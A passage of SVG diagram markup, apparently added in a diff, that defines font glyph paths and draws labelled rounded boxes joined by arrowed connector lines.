3.144531 -4.445312 2.90625 -4.3125 C 2.664062 -4.175781 2.472656 -3.992188 2.328125 -3.765625 C 2.179688 -3.535156 2.109375 -3.242188 2.109375 -2.890625 C 2.109375 -2.347656 2.238281 -1.925781 2.5 -1.625 C 2.769531 -1.320312 3.113281 -1.171875 3.53125 -1.171875 C 4.101562 -1.171875 4.546875 -1.304688 4.859375 -1.578125 C 5.171875 -1.847656 5.390625 -2.148438 5.515625 -2.484375 Z M 5.515625 -4.640625 "/> +</symbol> +<symbol overflow="visible" id="glyph1-14"> +<path style="stroke:none;" d="M 0.1875 -10.15625 L 1.421875 -10.15625 L 1.421875 -12.171875 L 2.890625 -12.640625 L 2.890625 -10.15625 L 5.078125 -10.15625 L 5.078125 -8.84375 L 2.890625 -8.84375 L 2.890625 -2.78125 C 2.890625 -2.1875 2.957031 -1.753906 3.09375 -1.484375 C 3.238281 -1.222656 3.472656 -1.09375 3.796875 -1.09375 C 4.066406 -1.09375 4.300781 -1.125 4.5 -1.1875 C 4.695312 -1.25 4.910156 -1.328125 5.140625 -1.421875 L 5.421875 -0.265625 C 5.128906 -0.117188 4.800781 -0.00390625 4.4375 0.078125 C 4.082031 0.171875 3.707031 0.21875 3.3125 0.21875 C 2.632812 0.21875 2.148438 0 1.859375 -0.4375 C 1.566406 -0.875 1.421875 -1.585938 1.421875 -2.578125 L 1.421875 -8.84375 L 0.1875 -8.84375 Z M 0.1875 -10.15625 "/> +</symbol> +<symbol overflow="visible" id="glyph1-15"> +<path style="stroke:none;" d="M 7.609375 -3.5 C 7.609375 -2.800781 7.613281 -2.171875 7.625 -1.609375 C 7.632812 -1.046875 7.679688 -0.492188 7.765625 0.046875 L 6.765625 0.046875 L 6.4375 -1.171875 L 6.359375 -1.171875 C 6.171875 -0.765625 5.875 -0.425781 5.46875 -0.15625 C 5.0625 0.113281 4.570312 0.25 4 0.25 C 2.90625 0.25 2.085938 -0.175781 1.546875 -1.03125 C 1.015625 -1.882812 0.75 -3.226562 0.75 -5.0625 C 0.75 -6.789062 1.078125 -8.101562 1.734375 -9 C 2.390625 -9.894531 3.296875 -10.34375 4.453125 -10.34375 C 4.847656 -10.34375 5.160156 -10.316406 5.390625 -10.265625 C 5.617188 -10.222656 5.867188 -10.148438 6.140625 -10.046875 L 6.140625 -14.234375 L 7.609375 -14.234375 Z M 6.140625 -8.5625 C 5.953125 -8.71875 5.738281 -8.832031 5.5 -8.90625 C 5.257812 -8.988281 4.941406 -9.03125 4.546875 -9.03125 C 3.828125 -9.03125 3.269531 -8.703125 2.875 -8.046875 C 2.476562 -7.398438 2.28125 -6.398438 2.28125 -5.046875 C 2.28125 -4.441406 2.316406 -3.898438 2.390625 -3.421875 C 2.460938 -2.941406 2.578125 -2.523438 2.734375 -2.171875 C 2.890625 -1.816406 3.09375 -1.546875 3.34375 -1.359375 C 3.59375 -1.171875 3.898438 -1.078125 4.265625 -1.078125 C 5.242188 -1.078125 5.867188 -1.65625 6.140625 -2.8125 Z M 6.140625 -8.5625 "/> +</symbol> +<symbol overflow="visible" id="glyph1-16"> +<path style="stroke:none;" d="M 1.203125 -1.890625 C 1.453125 -1.710938 1.8125 -1.546875 2.28125 -1.390625 C 2.75 -1.234375 3.28125 -1.15625 3.875 -1.15625 C 4.632812 -1.15625 5.25 -1.34375 5.71875 -1.71875 C 6.195312 -2.09375 6.4375 -2.675781 6.4375 -3.46875 C 6.4375 -4 6.300781 -4.460938 6.03125 -4.859375 C 5.757812 -5.253906 5.421875 -5.613281 5.015625 -5.9375 C 4.609375 -6.269531 4.171875 -6.597656 3.703125 -6.921875 C 3.242188 -7.242188 2.804688 -7.597656 2.390625 -7.984375 C 1.984375 -8.367188 1.644531 -8.8125 1.375 -9.3125 C 1.101562 -9.8125 0.96875 -10.414062 0.96875 -11.125 C 0.96875 -12.257812 1.3125 -13.097656 2 -13.640625 C 2.6875 -14.191406 3.578125 -14.46875 4.671875 -14.46875 C 5.347656 -14.46875 5.953125 -14.40625 6.484375 -14.28125 C 7.015625 -14.164062 7.441406 -14.015625 7.765625 -13.828125 L 7.28125 -12.484375 C 7.03125 -12.628906 6.675781 -12.765625 6.21875 -12.890625 C 5.769531 -13.015625 5.25 -13.078125 4.65625 -13.078125 C 3.925781 -13.078125 3.382812 -12.894531 3.03125 -12.53125 C 2.675781 -12.175781 2.5 -11.726562 2.5 -11.1875 C 2.5 -10.707031 2.632812 -10.285156 2.90625 -9.921875 C 3.175781 -9.554688 3.515625 -9.207031 3.921875 -8.875 C 4.328125 -8.550781 4.765625 -8.222656 5.234375 -7.890625 C 5.703125 -7.566406 6.140625 -7.203125 6.546875 -6.796875 C 6.953125 -6.390625 7.289062 -5.925781 7.5625 -5.40625 C 7.832031 -4.894531 7.96875 -4.285156 7.96875 -3.578125 C 7.96875 -2.378906 7.613281 -1.441406 6.90625 -0.765625 C 6.207031 -0.0859375 5.210938 0.25 3.921875 0.25 C 3.109375 0.25 2.441406 0.171875 1.921875 0.015625 C 1.398438 -0.128906 0.984375 -0.296875 0.671875 -0.484375 Z M 1.203125 -1.890625 "/> +</symbol> +<symbol overflow="visible" id="glyph1-17"> +<path style="stroke:none;" d="M 1.203125 -14.234375 L 2.65625 -14.234375 L 2.65625 -9.390625 L 2.71875 -9.390625 C 3.28125 -10.066406 4.019531 -10.40625 4.9375 -10.40625 C 5.976562 -10.40625 6.757812 -9.988281 7.28125 -9.15625 C 7.800781 -8.332031 8.0625 -7.03125 8.0625 -5.25 C 8.0625 -3.414062 7.710938 -2.050781 7.015625 -1.15625 C 6.316406 -0.257812 5.332031 0.1875 4.0625 0.1875 C 3.4375 0.1875 2.863281 0.113281 2.34375 -0.03125 C 1.832031 -0.175781 1.453125 -0.34375 1.203125 -0.53125 Z M 2.65625 -1.484375 C 2.851562 -1.378906 3.085938 -1.296875 3.359375 -1.234375 C 3.640625 -1.171875 3.9375 -1.140625 4.25 -1.140625 C 4.957031 -1.140625 5.515625 -1.472656 5.921875 -2.140625 C 6.335938 -2.816406 6.546875 -3.851562 6.546875 -5.25 C 6.546875 -5.832031 6.507812 -6.351562 6.4375 -6.8125 C 6.363281 -7.28125 6.25 -7.679688 6.09375 -8.015625 C 5.9375 -8.359375 5.734375 -8.625 5.484375 -8.8125 C 5.234375 -9 4.929688 -9.09375 4.578125 -9.09375 C 4.085938 -9.09375 3.679688 -8.945312 3.359375 -8.65625 C 3.046875 -8.363281 2.8125 -7.960938 2.65625 -7.453125 Z M 2.65625 -1.484375 "/> +</symbol> +<symbol overflow="visible" id="glyph1-18"> +<path style="stroke:none;" d="M 1.4375 -10.15625 L 2.90625 -10.15625 L 2.90625 0 L 1.4375 0 Z M 1.171875 -13.25 C 1.171875 -13.570312 1.265625 -13.835938 1.453125 -14.046875 C 1.640625 -14.253906 1.878906 -14.359375 2.171875 -14.359375 C 2.472656 -14.359375 2.722656 -14.257812 2.921875 -14.0625 C 3.117188 -13.863281 3.21875 -13.59375 3.21875 -13.25 C 3.21875 -12.925781 3.117188 -12.671875 2.921875 -12.484375 C 2.722656 -12.304688 2.472656 -12.21875 2.171875 -12.21875 C 1.878906 -12.21875 1.640625 -12.3125 1.453125 -12.5 C 1.265625 -12.6875 1.171875 -12.9375 1.171875 -13.25 Z M 1.171875 -13.25 "/> +</symbol> +<symbol overflow="visible" id="glyph1-19"> +<path style="stroke:none;" d="M 1.296875 -14.09375 C 1.742188 -14.195312 2.234375 -14.269531 2.765625 -14.3125 C 3.304688 -14.363281 3.800781 -14.390625 4.25 -14.390625 C 4.78125 -14.390625 5.28125 -14.320312 5.75 -14.1875 C 6.226562 -14.0625 6.640625 -13.847656 6.984375 -13.546875 C 7.335938 -13.242188 7.617188 -12.84375 7.828125 -12.34375 C 8.046875 -11.851562 8.15625 -11.234375 8.15625 -10.484375 C 8.15625 -9.359375 7.921875 -8.457031 7.453125 -7.78125 C 6.984375 -7.101562 6.363281 -6.648438 5.59375 -6.421875 L 6.359375 -5.671875 L 9.171875 0 L 7.40625 0 L 4.34375 -6.203125 L 2.828125 -6.5 L 2.828125 0 L 1.296875 0 Z M 2.828125 -7.515625 L 4.046875 -7.515625 C 4.816406 -7.515625 5.425781 -7.75 5.875 -8.21875 C 6.320312 -8.695312 6.546875 -9.425781 6.546875 -10.40625 C 6.546875 -11.15625 6.359375 -11.769531 5.984375 -12.25 C 5.609375 -12.738281 5.054688 -12.984375 4.328125 -12.984375 C 4.054688 -12.984375 3.773438 -12.972656 3.484375 -12.953125 C 3.191406 -12.929688 2.972656 -12.90625 2.828125 -12.875 Z M 2.828125 -7.515625 "/> +</symbol> +<symbol overflow="visible" id="glyph1-20"> +<path style="stroke:none;" d="M 7.609375 4.0625 L 6.140625 4.0625 L 6.140625 -0.828125 L 6.0625 -0.828125 C 5.84375 -0.492188 5.566406 -0.226562 5.234375 -0.03125 C 4.898438 0.15625 4.46875 0.25 3.9375 0.25 C 2.875 0.25 2.078125 -0.179688 1.546875 -1.046875 C 1.015625 -1.910156 0.75 -3.242188 0.75 -5.046875 C 0.75 -6.785156 1.09375 -8.101562 1.78125 -9 C 2.476562 -9.894531 3.484375 -10.34375 4.796875 -10.34375 C 5.367188 -10.34375 5.910156 -10.273438 6.421875 -10.140625 C 6.941406 -10.003906 7.335938 -9.863281 7.609375 -9.71875 Z M 6.140625 -8.6875 C 5.753906 -8.914062 5.21875 -9.03125 4.53125 -9.03125 C 3.820312 -9.03125 3.269531 -8.703125 2.875 -8.046875 C 2.476562 -7.398438 2.28125 -6.40625 2.28125 -5.0625 C 2.28125 -4.488281 2.3125 -3.957031 2.375 -3.46875 C 2.445312 -2.988281 2.5625 -2.566406 2.71875 -2.203125 C 2.875 -1.847656 3.078125 -1.570312 3.328125 -1.375 C 3.578125 -1.175781 3.882812 -1.078125 4.25 -1.078125 C 4.757812 -1.078125 5.164062 -1.222656 5.46875 -1.515625 C 5.769531 -1.816406 5.992188 -2.253906 6.140625 -2.828125 Z M 6.140625 -8.6875 "/> +</symbol> +<symbol overflow="visible" id="glyph1-21"> +<path style="stroke:none;" d="M 1.03125 -1.671875 C 1.300781 -1.503906 1.625 -1.363281 2 -1.25 C 2.375 -1.132812 2.757812 -1.078125 3.15625 -1.078125 C 3.601562 -1.078125 3.976562 -1.1875 4.28125 -1.40625 C 4.59375 -1.632812 4.75 -2 4.75 -2.5 C 4.75 -2.914062 4.65625 -3.257812 4.46875 -3.53125 C 4.28125 -3.800781 4.039062 -4.046875 3.75 -4.265625 C 3.457031 -4.484375 3.140625 -4.679688 2.796875 -4.859375 C 2.460938 -5.046875 2.148438 -5.269531 1.859375 -5.53125 C 1.566406 -5.789062 1.328125 -6.09375 1.140625 -6.4375 C 0.953125 -6.789062 0.859375 -7.238281 0.859375 -7.78125 C 0.859375 -8.65625 1.085938 -9.3125 1.546875 -9.75 C 2.015625 -10.1875 2.675781 -10.40625 3.53125 -10.40625 C 4.09375 -10.40625 4.578125 -10.351562 4.984375 -10.25 C 5.390625 -10.15625 5.738281 -10.019531 6.03125 -9.84375 L 5.65625 -8.625 C 5.394531 -8.757812 5.09375 -8.867188 4.75 -8.953125 C 4.414062 -9.046875 4.070312 -9.09375 3.71875 -9.09375 C 3.226562 -9.09375 2.867188 -8.988281 2.640625 -8.78125 C 2.421875 -8.582031 2.3125 -8.265625 2.3125 -7.828125 C 2.3125 -7.484375 2.40625 -7.191406 2.59375 -6.953125 C 2.789062 -6.722656 3.035156 -6.507812 3.328125 -6.3125 C 3.617188 -6.113281 3.929688 -5.910156 4.265625 -5.703125 C 4.609375 -5.503906 4.925781 -5.265625 5.21875 -4.984375 C 5.507812 -4.710938 5.75 -4.382812 5.9375 -4 C 6.125 -3.613281 6.21875 -3.128906 6.21875 -2.546875 C 6.21875 -2.160156 6.15625 -1.796875 6.03125 -1.453125 C 5.914062 -1.117188 5.734375 -0.828125 5.484375 -0.578125 C 5.234375 -0.328125 4.921875 -0.128906 4.546875 0.015625 C 4.171875 0.171875 3.734375 0.25 3.234375 0.25 C 2.640625 0.25 2.125 0.1875 1.6875 0.0625 C 1.25 -0.0507812 0.882812 -0.203125 0.59375 -0.390625 Z M 1.03125 -1.671875 "/> +</symbol> +<symbol overflow="visible" id="glyph1-22"> +<path style="stroke:none;" d="M 1.296875 -14.234375 L 7.625 -14.234375 L 7.625 -12.828125 L 2.828125 -12.828125 L 2.828125 -8.015625 L 7.234375 -8.015625 L 7.234375 -6.609375 L 2.828125 -6.609375 L 2.828125 -1.40625 L 7.71875 -1.40625 L 7.71875 0 L 1.296875 0 Z M 1.296875 -14.234375 "/> +</symbol> +<symbol overflow="visible" id="glyph1-23"> +<path style="stroke:none;" d="M 0 2.84375 L 6.796875 2.84375 L 6.796875 4.171875 L 0 4.171875 Z M 0 2.84375 "/> +</symbol> +<symbol overflow="visible" id="glyph1-24"> +<path style="stroke:none;" d="M 7.828125 -14.234375 L 9.296875 -14.234375 L 9.296875 -4.703125 C 9.296875 -2.972656 8.957031 -1.722656 8.28125 -0.953125 C 7.613281 -0.191406 6.660156 0.1875 5.421875 0.1875 C 3.984375 0.1875 2.9375 -0.179688 2.28125 -0.921875 C 1.625 -1.671875 1.296875 -2.820312 1.296875 -4.375 L 1.296875 -14.234375 L 2.828125 -14.234375 L 2.828125 -5.15625 C 2.828125 -4.425781 2.875 -3.8125 2.96875 -3.3125 C 3.0625 -2.8125 3.21875 -2.40625 3.4375 -2.09375 C 3.65625 -1.78125 3.925781 -1.554688 4.25 -1.421875 C 4.570312 -1.285156 4.972656 -1.21875 5.453125 -1.21875 C 6.347656 -1.21875 6.96875 -1.53125 7.3125 -2.15625 C 7.65625 -2.78125 7.828125 -3.78125 7.828125 -5.15625 Z M 7.828125 -14.234375 "/> +</symbol> +<symbol overflow="visible" id="glyph1-25"> +<path style="stroke:none;" d="M 8.359375 -11 C 8.359375 -10.644531 8.316406 -10.289062 8.234375 -9.9375 C 8.148438 -9.582031 8.019531 -9.25 7.84375 -8.9375 C 7.664062 -8.632812 7.445312 -8.359375 7.1875 -8.109375 C 6.925781 -7.867188 6.601562 -7.6875 6.21875 -7.5625 L 6.21875 -7.484375 C 6.539062 -7.410156 6.851562 -7.296875 7.15625 -7.140625 C 7.457031 -6.984375 7.722656 -6.765625 7.953125 -6.484375 C 8.179688 -6.210938 8.363281 -5.875 8.5 -5.46875 C 8.632812 -5.070312 8.703125 -4.597656 8.703125 -4.046875 C 8.703125 -3.316406 8.585938 -2.679688 8.359375 -2.140625 C 8.128906 -1.609375 7.8125 -1.171875 7.40625 -0.828125 C 7.007812 -0.492188 6.550781 -0.242188 6.03125 -0.078125 C 5.507812 0.078125 4.957031 0.15625 4.375 0.15625 C 4.175781 0.15625 3.953125 0.15625 3.703125 0.15625 C 3.453125 0.15625 3.1875 0.144531 2.90625 0.125 C 2.625 0.113281 2.34375 0.0859375 2.0625 0.046875 C 1.78125 0.015625 1.523438 -0.0351562 1.296875 -0.109375 L 1.296875 -14.109375 C 1.703125 -14.191406 2.179688 -14.257812 2.734375 -14.3125 C 3.285156 -14.363281 3.878906 -14.390625 4.515625 -14.390625 C 4.972656 -14.390625 5.429688 -14.34375 5.890625 -14.25 C 6.359375 -14.164062 6.773438 -14 7.140625 -13.75 C 7.503906 -13.507812 7.796875 -13.171875 8.015625 -12.734375 C 8.242188 -12.296875 8.359375 -11.71875 8.359375 -11 Z M 4.5 -1.234375 C 4.863281 -1.234375 5.195312 -1.289062 5.5 -1.40625 C 5.8125 -1.519531 6.085938 -1.691406 6.328125 -1.921875 C 6.566406 -2.160156 6.753906 -2.441406 6.890625 -2.765625 C 7.023438 -3.097656 7.09375 -3.488281 7.09375 -3.9375 C 7.09375 -4.5 7.007812 -4.953125 6.84375 -5.296875 C 6.675781 -5.640625 6.453125 -5.90625 6.171875 -6.09375 C 5.898438 -6.289062 5.59375 -6.421875 5.25 -6.484375 C 4.90625 -6.554688 4.550781 -6.59375 4.1875 -6.59375 L 2.828125 -6.59375 L 2.828125 -1.375 C 2.910156 -1.351562 3.015625 -1.332031 3.140625 -1.3125 C 3.265625 -1.300781 3.40625 -1.289062 3.5625 -1.28125 C 3.71875 -1.269531 3.878906 -1.257812 4.046875 -1.25 C 4.210938 -1.238281 4.363281 -1.234375 4.5 -1.234375 Z M 3.65625 -7.90625 C 3.84375 -7.90625 4.054688 -7.910156 4.296875 -7.921875 C 4.546875 -7.941406 4.753906 -7.960938 4.921875 -7.984375 C 5.421875 -8.191406 5.847656 -8.519531 6.203125 -8.96875 C 6.566406 -9.425781 6.75 -9.988281 6.75 -10.65625 C 6.75 -11.101562 6.6875 -11.476562 6.5625 -11.78125 C 6.445312 -12.082031 6.28125 -12.320312 6.0625 -12.5 C 5.851562 -12.675781 5.609375 -12.800781 5.328125 -12.875 C 5.046875 -12.945312 4.75 -12.984375 4.4375 -12.984375 C 4.082031 -12.984375 3.757812 -12.972656 3.46875 -12.953125 C 3.1875 -12.929688 2.972656 -12.910156 2.828125 -12.890625 L 2.828125 -7.90625 Z M 3.65625 -7.90625 "/> +</symbol> +<symbol overflow="visible" id="glyph1-26"> +<path style="stroke:none;" d="M 10.125 -9.34375 L 10.3125 -11.5 L 10.21875 -11.5 L 9.578125 -9.5 L 6.703125 -3.3125 L 6.203125 -3.3125 L 3.1875 -9.5 L 2.5625 -11.5 L 2.484375 -11.5 L 2.765625 -9.34375 L 2.765625 0 L 1.296875 0 L 1.296875 -14.234375 L 2.578125 -14.234375 L 6.015625 -7.234375 L 6.53125 -5.5625 L 6.5625 -5.5625 L 7.046875 -7.25 L 10.3125 -14.234375 L 11.640625 -14.234375 L 11.640625 0 L 10.125 0 Z M 10.125 -9.34375 "/> +</symbol> +<symbol overflow="visible" id="glyph1-27"> +<path style="stroke:none;" d="M 1.609375 -14.234375 L 3.125 -14.234375 L 3.125 0 L 1.609375 0 Z M 1.609375 -14.234375 "/> +</symbol> +<symbol overflow="visible" id="glyph1-28"> +<path style="stroke:none;" d="M 8.796875 -12.828125 L 5.3125 -12.828125 L 5.3125 0 L 3.78125 0 L 3.78125 -12.828125 L 0.28125 -12.828125 L 0.28125 -14.234375 L 8.796875 -14.234375 Z M 8.796875 -12.828125 "/> +</symbol> +<symbol overflow="visible" id="glyph1-29"> +<path style="stroke:none;" d="M 0.875 -7.109375 C 0.875 -9.523438 1.257812 -11.351562 2.03125 -12.59375 C 2.800781 -13.84375 3.976562 -14.46875 5.5625 -14.46875 C 6.414062 -14.46875 7.140625 -14.296875 7.734375 -13.953125 C 8.335938 -13.609375 8.820312 -13.117188 9.1875 -12.484375 C 9.5625 -11.847656 9.835938 -11.070312 10.015625 -10.15625 C 10.191406 -9.25 10.28125 -8.234375 10.28125 -7.109375 C 10.28125 -4.703125 9.890625 -2.875 9.109375 -1.625 C 8.335938 -0.375 7.15625 0.25 5.5625 0.25 C 4.726562 0.25 4.007812 0.078125 3.40625 -0.265625 C 2.8125 -0.617188 2.320312 -1.113281 1.9375 -1.75 C 1.5625 -2.382812 1.289062 -3.15625 1.125 -4.0625 C 0.957031 -4.96875 0.875 -5.984375 0.875 -7.109375 Z M 2.484375 -7.109375 C 2.484375 -6.316406 2.539062 -5.5625 2.65625 -4.84375 C 2.769531 -4.125 2.945312 -3.492188 3.1875 -2.953125 C 3.4375 -2.410156 3.753906 -1.972656 4.140625 -1.640625 C 4.535156 -1.316406 5.007812 -1.15625 5.5625 -1.15625 C 6.582031 -1.15625 7.359375 -1.640625 7.890625 -2.609375 C 8.421875 -3.585938 8.6875 -5.085938 8.6875 -7.109375 C 8.6875 -7.898438 8.625 -8.65625 8.5 -9.375 C 8.382812 -10.09375 8.207031 -10.722656 7.96875 -11.265625 C 7.726562 -11.816406 7.410156 -12.253906 7.015625 -12.578125 C 6.617188 -12.910156 6.132812 -13.078125 5.5625 -13.078125 C 4.5625 -13.078125 3.796875 -12.585938 3.265625 -11.609375 C 2.742188 -10.628906 2.484375 -9.128906 2.484375 -7.109375 Z M 2.484375 -7.109375 "/> +</symbol> +</g> +</defs> +<g id="surface34189"> +<rect x="0" y="0" width="541" height="601" style="fill:rgb(100%,100%,100%);fill-opacity:1;stroke:none;"/> +<path style="fill-rule:evenodd;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(100%,100%,100%);stroke-opacity:1;stroke-miterlimit:10;" d="M 15 -1 L 42 -1 L 42 29 L 15 29 Z M 15 -1 " transform="matrix(20,0,0,20,-299,21)"/> +<path style=" stroke:none;fill-rule:evenodd;fill:rgb(100%,100%,100%);fill-opacity:1;" d="M 321 382.601562 L 430 382.601562 L 430 406 L 321 406 Z M 321 382.601562 "/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-1" x="321" y="401.008681"/> + <use xlink:href="#glyph0-1" x="324.888889" y="401.008681"/> + <use xlink:href="#glyph0-2" x="328.777778" y="401.008681"/> + <use xlink:href="#glyph0-3" x="336.555556" y="401.008681"/> + <use xlink:href="#glyph0-4" x="344.055556" y="401.008681"/> + <use xlink:href="#glyph0-5" x="352.111111" y="401.008681"/> + <use xlink:href="#glyph0-6" x="359.888889" y="401.008681"/> + <use xlink:href="#glyph0-7" x="364.888889" y="401.008681"/> + <use xlink:href="#glyph0-8" x="376.555556" y="401.008681"/> + <use xlink:href="#glyph0-9" x="383.777778" y="401.008681"/> + <use xlink:href="#glyph0-10" x="387.944444" y="401.008681"/> + <use xlink:href="#glyph0-11" x="391.833333" y="401.008681"/> + <use xlink:href="#glyph0-8" x="398.222222" y="401.008681"/> + <use xlink:href="#glyph0-12" x="405.444444" y="401.008681"/> + <use xlink:href="#glyph0-10" x="410.444444" y="401.008681"/> + <use xlink:href="#glyph0-5" x="414.333333" y="401.008681"/> + <use xlink:href="#glyph0-4" x="422.111111" y="401.008681"/> +</g> +<path style=" stroke:none;fill-rule:evenodd;fill:rgb(100%,100%,100%);fill-opacity:1;" d="M 321 262.601562 L 414.75 262.601562 L 414.75 286 L 321 286 Z M 321 262.601562 "/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-1" x="321" y="281.008681"/> + <use xlink:href="#glyph0-1" x="324.888889" y="281.008681"/> + <use xlink:href="#glyph0-4" x="328.777778" y="281.008681"/> + <use xlink:href="#glyph0-5" x="336.833333" y="281.008681"/> + <use xlink:href="#glyph0-6" x="344.611111" y="281.008681"/> + <use xlink:href="#glyph0-7" x="349.611111" y="281.008681"/> + <use xlink:href="#glyph0-8" x="361.277778" y="281.008681"/> + <use xlink:href="#glyph0-9" x="368.5" y="281.008681"/> + <use xlink:href="#glyph0-10" x="372.666667" y="281.008681"/> + <use xlink:href="#glyph0-11" x="376.555556" y="281.008681"/> + <use xlink:href="#glyph0-8" x="382.944444" y="281.008681"/> + <use xlink:href="#glyph0-12" x="390.166667" y="281.008681"/> + <use xlink:href="#glyph0-10" x="395.166667" y="281.008681"/> + <use xlink:href="#glyph0-5" x="399.055556" y="281.008681"/> + <use xlink:href="#glyph0-4" x="406.833333" y="281.008681"/> +</g> +<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 21.3 0 C 21.134375 0 21 0.134375 21 0.3 L 21 2.885352 C 21 3.050977 21.134375 3.185352 21.3 3.185352 L 28.7 3.185352 C 28.865625 3.185352 29 3.050977 29 2.885352 L 29 0.3 C 29 0.134375 28.865625 0 28.7 0 Z M 21.3 0 " transform="matrix(20,0,0,20,-299,21)"/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-1" x="166.976562" y="60.853733"/> + <use xlink:href="#glyph1-2" x="177.809896" y="60.853733"/> + <use xlink:href="#glyph1-3" x="186.143229" y="60.853733"/> + <use xlink:href="#glyph1-4" x="197.809896" y="60.853733"/> + <use xlink:href="#glyph1-5" x="202.25434" y="60.853733"/> + <use xlink:href="#glyph1-6" x="207.25434" y="60.853733"/> + <use xlink:href="#glyph1-7" x="216.143229" y="60.853733"/> + <use xlink:href="#glyph1-8" x="221.698785" y="60.853733"/> +</g> +<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 33.3 0 C 33.134375 0 33 0.134375 33 0.3 L 33 2.885352 C 33 3.050977 33.134375 3.185352 33.3 3.185352 L 40.7 3.185352 C 40.865625 3.185352 41 3.050977 41 2.885352 L 41 0.3 C 41 0.134375 40.865625 0 40.7 0 Z M 33.3 0 " transform="matrix(20,0,0,20,-299,21)"/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-9" x="375.589844" y="60.853733"/> + <use xlink:href="#glyph1-7" x="384.200955" y="60.853733"/> + <use xlink:href="#glyph1-2" x="389.75651" y="60.853733"/> + <use xlink:href="#glyph1-10" x="398.089844" y="60.853733"/> + <use xlink:href="#glyph1-6" x="406.978733" y="60.853733"/> + <use xlink:href="#glyph1-10" x="415.867622" y="60.853733"/> + <use xlink:href="#glyph1-11" x="424.75651" y="60.853733"/> + <use xlink:href="#glyph1-12" x="433.645399" y="60.853733"/> + <use xlink:href="#glyph1-13" x="438.367622" y="60.853733"/> + <use xlink:href="#glyph1-14" x="446.423177" y="60.853733"/> + <use xlink:href="#glyph1-2" x="451.978733" y="60.853733"/> + <use xlink:href="#glyph1-15" x="460.312066" y="60.853733"/> + <use xlink:href="#glyph1-4" x="469.200955" y="60.853733"/> + <use xlink:href="#glyph1-5" x="473.645399" y="60.853733"/> + <use xlink:href="#glyph1-6" x="478.645399" y="60.853733"/> + <use xlink:href="#glyph1-7" x="487.534288" y="60.853733"/> + <use xlink:href="#glyph1-8" x="493.089844" y="60.853733"/> +</g> +<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 27.3 25 C 27.134375 25 27 25.134375 27 25.3 L 27 27.885352 C 27 28.050977 27.134375 28.185352 27.3 28.185352 L 34.7 28.185352 C 34.865625 28.185352 35 28.050977 35 27.885352 L 35 25.3 C 35 25.134375 34.865625 25 34.7 25 Z M 27.3 25 " transform="matrix(20,0,0,20,-299,21)"/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-16" x="266.15625" y="560.853733"/> + <use xlink:href="#glyph1-11" x="274.767361" y="560.853733"/> + <use xlink:href="#glyph1-17" x="283.65625" y="560.853733"/> + <use xlink:href="#glyph1-8" x="292.545139" y="560.853733"/> + <use xlink:href="#glyph1-18" x="305.878472" y="560.853733"/> + <use xlink:href="#glyph1-14" x="310.322917" y="560.853733"/> + <use xlink:href="#glyph1-14" x="315.878472" y="560.853733"/> + <use xlink:href="#glyph1-2" x="321.434028" y="560.853733"/> + <use xlink:href="#glyph1-15" x="329.767361" y="560.853733"/> + <use xlink:href="#glyph1-4" x="338.65625" y="560.853733"/> + <use xlink:href="#glyph1-5" x="343.100694" y="560.853733"/> + <use xlink:href="#glyph1-6" x="348.100694" y="560.853733"/> + <use xlink:href="#glyph1-7" x="356.989583" y="560.853733"/> + <use xlink:href="#glyph1-8" x="362.545139" y="560.853733"/> +</g> +<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 25 3.185352 L 25 5 L 31 5 L 31 24.399805 " transform="matrix(20,0,0,20,-299,21)"/> +<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 30.75 24.399805 L 31 24.899805 L 31.25 24.399805 Z M 30.75 24.399805 " transform="matrix(20,0,0,20,-299,21)"/> +<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 37 3.185352 L 37 5 L 31 5 L 31 24.45 " transform="matrix(20,0,0,20,-299,21)"/> +<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 30.75 24.45 L 31 24.95 L 31.25 24.45 Z M 30.75 24.45 " transform="matrix(20,0,0,20,-299,21)"/> +<path style="fill-rule:evenodd;fill:rgb(69.803923%,83.137256%,92.156863%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 16.708203 5.2 L 21.540625 5.2 C 22.207812 5.2 22.748828 5.75957 22.748828 6.45 C 22.748828 7.14043 22.207812 7.7 21.540625 7.7 L 16.708203 7.7 C 16.04082 7.7 15.5 7.14043 15.5 6.45 C 15.5 5.75957 16.04082 5.2 16.708203 5.2 Z M 16.708203 5.2 " transform="matrix(20,0,0,20,-299,21)"/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-19" x="38.078125" y="158.892795"/> + <use xlink:href="#glyph1-2" x="46.967014" y="158.892795"/> + <use xlink:href="#glyph1-20" x="55.300347" 